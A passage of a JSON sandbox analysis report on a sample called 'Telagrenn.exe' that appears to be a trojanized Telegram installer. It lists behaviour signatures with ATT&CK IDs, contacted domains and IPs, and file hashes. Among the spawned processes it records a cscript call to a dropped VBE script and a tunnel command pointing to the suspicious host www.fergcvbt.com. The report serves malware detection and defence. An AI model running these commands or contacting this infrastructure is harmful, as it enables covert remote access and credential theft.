\"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"Telagrenn.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"Telagrenn.exe\")\n Found reference to API \"OpenMutexW\" (Indicator: \"OpenMutex\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops document files inside temp directory","description":"\"is-5K88K.tmp\" has type \"Composite Document File V2 Document Can't read SAT\"- Location: [%TEMP%\\is-CAG3H.tmp\\is-5K88K.tmp]- [targetUID: 00000000-00002688]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-34","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$68","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"0B6BAAA132866617s.QoUsKy has high entropy\"\n \"text has high entropy\"\n \"setup_temp.gea has high entropy\"\n \"settingss.cqZfjk has high entropy\"\n \"settingss.jKJwdR has high entropy\"\n \"settingss.xFkkHD has high entropy\"\n \"settingss.vLJYVS has high entropy\"\n \"settingss.gAASVn has high entropy\"\n \"settingss.SiAlyu has high entropy\"\n \"settingss.LDmFnY has high entropy\"\n \"configs.ICmQdw has high entropy\"\n \"D877F783D5D3EF8Cs.DUURkx has high entropy\"\n \"D877F783D5D3EF8Cs.jtqDwl has high entropy\"\n \"D877F783D5D3EF8Cs.nXhIpS has high entropy\"\n \"key_datas.CqXHZE has high entropy\"\n \"D877F783D5D3EF8Cs.CrOVPL has high entropy\"\n \"configs.ZYSxHR has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$69","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Telagrenn.exe\" was detected as \"Microsoft Visual C++ 5.0\"\n \"CoreLogic.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"genteert.dll\" was detected as \"Microsoft Visual C++ 6.0 DLL\"\n \"guig.dll\" was detected as \"Microsoft Visual C++ 6.0 DLL\"\n \"D5rra.tmp\" was detected as \"Borland Delphi 4.0\"\n \"is-7JH8E.tmp\" was detected as \"Borland Delphi 4.0\"\n \"is-3R46B.tmp\" was detected as \"Borland Delphi 3.0 (???)\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$6a","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"Telagrenn.exe\" has section name .gentee with entropy \"7.850730705135285\"\n \"is-4O7G3.tmp\" has section name .sc1 with entropy \"7.989418187986692\"\n \"is-4O7G3.tmp\" has section name .sc2 with entropy \"7.99111687677228\"\n \"is-4O7G3.tmp\" has section name .tc3 with entropy \"7.990043869600088\"\n \"is-4O7G3.tmp\" has section name .tc4 with entropy \"7.478539536630536\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/26 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LockResource@KERNEL32.DLL at 00000000-00006424-18661-3872-0009F99C\n LoadResource@KERNEL32.DLL at 00000000-00006424-18661-3873-0009F984\n SizeofResource@KERNEL32.DLL at 00000000-00006424-18661-3874-0009FA04\n FindResourceW@KERNEL32.DLL at 00000000-00006424-18661-3875-0009F794","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$6b","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$6c","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$6d","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$6e","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"$6f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"tsetup-x64.7.0.2.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"GLASSSESSIONID\")\n \"D5rra.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"GLASSSESSIONID\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$70","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$71","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"D5rra.tmp\" claimed CRC 4976706 while the actual is CRC 3602071\n \"is-7JH8E.tmp\" claimed CRC 3618779 while the actual is CRC 3516539\n \"is-2BAEF.tmp\" claimed CRC 3516539 while the actual is CRC 209061\n \"is-3R46B.tmp\" claimed CRC 209061 while the actual is CRC 196444","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$72","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"is-PVEBQ.tmp\" claims program is from Wed Nov 2 17:29:28 1977","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"D5rra.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 5.02 (console)\n x86-64\n 5 sections\n is-7JH8E.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 5.02 (console)\n x86-64\n 5 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$73","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"malicious","category":"Network Related","name":"Contacts multiple hosts","description":"Contacted 16 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"Telagrenn.exe\" (UID: 00000000-00002804)\n Spawned process \"cscript.exe\" with commandline \"/nologo \"%APPDATA%\\\\Telegram\\\\adddf.vbe\" C:\\\\\" (UID: 00000000-00006908)\n Spawned process \"tsetup-x64.7.0.2.exe\" (UID: 00000000-00007176)\n Spawned process \"tsetup-x64.7.0.2.tmp\" with commandline \"/SL5=\"$8036C\n53101816\n826880\n%TEMP%\\\\gentee2B\\\\tsetup-x64.7.0.2.exe\"\" (UID: 00000000-00007736)\n Spawned process \"Telegram.exe\" (UID: 00000000-00002316)\n Spawned process \"Telegram.exe\" (UID: 00000000-00001040)\n Spawned process \"Telegram.exe\" (UID: 00000000-00007280)\n Spawned process \"D5rra.exe\" (UID: 00000000-00006424)\n Spawned process \"D5rra.tmp\" with commandline \"/SL5=\"$60388\n20804243\n926208\n%TEMP%\\\\gentee2B\\\\D5rra.exe\"\" (UID: 00000000-00002688)\n Spawned process \"System.exe\" with commandline \"access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com\" (UID: 00000000-00003244)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Spyware","details_count":5,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Attempts to steal desktop application's information (file access)"},{"detail":"Found desktop apps credentials related location strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Attempts to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 8 domains and 8 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]}],"intel_graph":{"map":{"Domain:firebaseremoteconfig.googleapis.com":{"type":"Domain","value":"firebaseremoteconfig.googleapis.com"},"Domain:firestore.googleapis.com":{"type":"Domain","value":"firestore.googleapis.com"},"Domain:google.ru":{"type":"Domain","value":"google.ru"},"Domain:mozilla.cloudflare-dns.com":{"type":"Domain","value":"mozilla.cloudflare-dns.com"},"Domain:td.telegram.org":{"type":"Domain","value":"td.telegram.org"},"Domain:www.dagfgwer.com":{"type":"Domain","value":"www.dagfgwer.com"},"Domain:www.fergcvbt.com":{"type":"Domain","value":"www.fergcvbt.com"},"Domain:www.gerwqcs.com":{"type":"Domain","value":"www.gerwqcs.com"},"File:00cb1a09a664bc3e62fd0d76cc944a52cf224807e00c551dfd01504e16abfc6d":{"type":"File","value":"00cb1a09a664bc3e62fd0d76cc944a52cf224807e00c551dfd01504e16abfc6d"},"File:08335662a737712d6dd2f62a01efc654d8c2cae3f6fb4e0dcd418dcf68a0e2c9":{"type":"File","value":"08335662a737712d6dd2f62a01efc654d8c2cae3f6fb4e0dcd418dcf68a0e2c9"},"File:2271a674b6192cf6c8d451dde65b5f08d3c4868e095f5fe2bcb6e2cd87adc38c":{"type":"File","value":"2271a674b6192cf6c8d451dde65b5f08d3c4868e095f5fe2bcb6e2cd87adc38c"},"File:2d694282d02c232fb883a7ae551187720a0672bcdb025ff0e337db95ea16ec33":{"type":"File","value":"2d694282d02c232fb883a7ae551187720a0672bcdb025ff0e337db95ea16ec33"},"File:3c5963bfbf766b1f0b265e211c08d9208b65ccbf9395e6c506a3eb5c181000b1":{"type":"File","value":"3c5963bfbf766b1f0b265e211c08d9208b65ccbf9395e6c506a3eb5c181000b1"},"File:4867bafd3b30861dba3eca6b8a9d0d461ba086f557ed1ac51d8af2390fc200aa":{"type":"File","value":"4867bafd3b30861dba3eca6b8a9d0d461ba086f557ed1ac51d8af2390fc200aa"},"File:4ab61a28fb3175a523e528c1d6964d6005afcde98c5c2bda11b96023e7762822":{"type":"File","value":"4ab61a28fb3175a523e528c1d6964d6005afcde98c5c2bda11b96023e7762822"},"File:4f166e37d6fae014dd47945d1921bfb4305aace1468bfa34901abd2c2ac3d2e7":{"type":"File","value":"4f166e37d6fae014dd47945d1921bfb4305aace1468bfa34901abd2c2ac3d2e7"},"File:54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831":{"type":"File","value":"54c0da1735bb1cb02b60c321de938488345f8d1d26bf389c8cb2acad5d01b831"},"File:624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328":{"type":"File","value":"624f4c25504ba431f450d8ecee2e2d0a4d87b95f7fa0b72db43f057ca021c328"},"File:6a870c10bc670aef6638254672c54d781fc5f14ea6c77919fe812e68626ac7ab":{"type":"File","value":"6a870c10bc670aef6638254672c54d781fc5f14ea6c77919fe812e68626ac7ab"},"File:9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88":{"type":"File","value":"9571155da9c0384685be4e473c3287257ce9210fb9e8719e42816277a2c9ee88"},"File:970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536":{"type":"File","value":"970b59d5ae2f78af8f046d5fc6ed5ba34d80bafba14f90cda30005156628f536"},"File:9deab0de8c52ef9851366ef145ba8cf7312c16f5606c446adba60905268e5b0d":{"type":"File","value":"9deab0de8c52ef9851366ef145ba8cf7312c16f5606c446adba60905268e5b0d"},"File:9fb0f1789e49100b3e7083e11943804107c9fa3b9c00d32396e07c23f348e955":{"type":"File","value":"9fb0f1789e49100b3e7083e11943804107c9fa3b9c00d32396e07c23f348e955"},"File:a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082":{"type":"File","value":"a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082"},"File:a8ebdfd6753dc9d593273f0ad11964dc20b3711548e69d0f28df0b9a094b059f":{"type":"File","value":"a8ebdfd6753dc9d593273f0ad11964dc20b3711548e69d0f28df0b9a094b059f"},"File:b9d3ab93c6d77ad3211c8520a33200ca80ea1cd07c6a6e3939b8f225711c7c45":{"type":"File","value":"b9d3ab93c6d77ad3211c8520a33200ca80ea1cd07c6a6e3939b8f225711c7c45"},"File:cbaa74d8aee49d685d4345226cd54fa8b8fd5884320f2430cf581fa6c0c49089":{"type":"File","value":"cbaa74d8aee49d685d4345226cd54fa8b8fd5884320f2430cf581fa6c0c49089"},"File:d0b808b77287912928dfb6084b321d948065df8d35705e5e4a0db4a614c3321d":{"type":"File","value":"d0b808b77287912928dfb6084b321d948065df8d35705e5e4a0db4a614c3321d"},"File:d40398e24ee604dbcbabf87c8edd1c5d78352ae387f119bad10f29e77e78bfd4":{"type":"File","value":"d40398e24ee604dbcbabf87c8edd1c5d78352ae387f119bad10f29e77e78bfd4"},"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93":{"type":"File","value":"f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93"},"File:f665c218629f0789d285fba1a392a5b00eb56b497c58592c7f7871f2ff793f76":{"type":"File","value":"f665c218629f0789d285fba1a392a5b00eb56b497c58592c7f7871f2ff793f76"},"File:ff3574c64584c9a24617417b148fd7a51e72baca58f615ee91af789c306bdf5d":{"type":"File","value":"ff3574c64584c9a24617417b148fd7a51e72baca58f615ee91af789c306bdf5d"},"Ip:104.21.33.36":{"type":"Ip","value":"104.21.33.36"},"Ip:142.251.214.99":{"type":"Ip","value":"142.251.214.99"},"Ip:149.154.167.220":{"type":"Ip","value":"149.154.167.220"},"Ip:149.154.167.41":{"type":"Ip","value":"149.154.167.41"},"Ip:149.154.167.51":{"type":"Ip","value":"149.154.167.51"},"Ip:149.154.175.100":{"type":"Ip","value":"149.154.175.100"},"Ip:149.154.175.54":{"type":"Ip","value":"149.154.175.54"},"Ip:172.217.113.4":{"type":"Ip","value":"172.217.113.4"},"Ip:172.64.41.4":{"type":"Ip","value":"172.64.41.4"},"Ip:194.221.250.50":{"type":"Ip","value":"194.221.250.50"},"Ip:95.161.76.100":{"type":"Ip","value":"95.161.76.100"},"Url:/":{"type":"Url","value":"/"},"Url:/api":{"type":"Url","value":"/api"},"Url:/current4":{"type":"Url","value":"/current4"},"Url:/dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0":{"type":"Url","value":"/dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0"},"Url:/dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f":{"type":"Url","value":"/dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f"}},"chains":[{"id":"sandbox_network","root":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","edges":[{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.167.51"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:95.161.76.100"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:95.161.76.100"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.167.51"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.175.100"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.175.100"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:172.64.41.4"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:142.251.214.99"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:172.217.113.4"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:194.221.250.50"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.167.220"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.175.54"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.167.41"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.175.54"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:149.154.167.41"},{"edge_kind":"contacted_ip","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Ip:104.21.33.36"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:firebaseremoteconfig.googleapis.com"},{"edge_kind":"resolves_to","from_key":"Domain:firebaseremoteconfig.googleapis.com","to_key":"Ip:172.217.113.4"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:firestore.googleapis.com"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:google.ru"},{"edge_kind":"resolves_to","from_key":"Domain:google.ru","to_key":"Ip:142.251.214.99"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:mozilla.cloudflare-dns.com"},{"edge_kind":"resolves_to","from_key":"Domain:mozilla.cloudflare-dns.com","to_key":"Ip:172.64.41.4"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:td.telegram.org"},{"edge_kind":"resolves_to","from_key":"Domain:td.telegram.org","to_key":"Ip:149.154.167.220"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:www.dagfgwer.com"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:www.fergcvbt.com"},{"edge_kind":"resolves_to","from_key":"Domain:www.fergcvbt.com","to_key":"Ip:104.21.33.36"},{"edge_kind":"contacted_domain","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Domain:www.gerwqcs.com"},{"edge_kind":"contacted_url","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Url:/api"},{"edge_kind":"contacted_url","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Url:/dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f"},{"edge_kind":"contacted_url","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Url:/dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0"},{"edge_kind":"contacted_url","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Url:/current4"},{"edge_kind":"contacted_url","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"Url:/"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","edges":[{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:4f166e37d6fae014dd47945d1921bfb4305aace1468bfa34901abd2c2ac3d2e7"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:4867bafd3b30861dba3eca6b8a9d0d461ba086f557ed1ac51d8af2390fc200aa"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:4ab61a28fb3175a523e528c1d6964d6005afcde98c5c2bda11b96023e7762822"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:a8ebdfd6753dc9d593273f0ad11964dc20b3711548e69d0f28df0b9a094b059f"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:00cb1a09a664bc3e62fd0d76cc944a52cf224807e00c551dfd01504e16abfc6d"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:d40398e24ee604dbcbabf87c8edd1c5d78352ae387f119bad10f29e77e78bfd4"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:2d694282d02c232fb883a7ae551187720a0672bcdb025ff0e337db95ea16ec33"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:9deab0de8c52ef9851366ef145ba8cf7312c16f5606c446adba60905268e5b0d"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:b9d3ab93c6d77ad3211c8520a33200ca80ea1cd07c6a6e3939b8f225711c7c45"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:cbaa74d8aee49d685d4345226cd54fa8b8fd5884320f2430cf581fa6c0c49089"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:ff3574c64584c9a24617417b148fd7a51e72baca58f615ee91af789c306bdf5d"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","to_key":"File:a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082"},{"edge_kind":"extracted","from_key":"File:f61305f2ea34804e6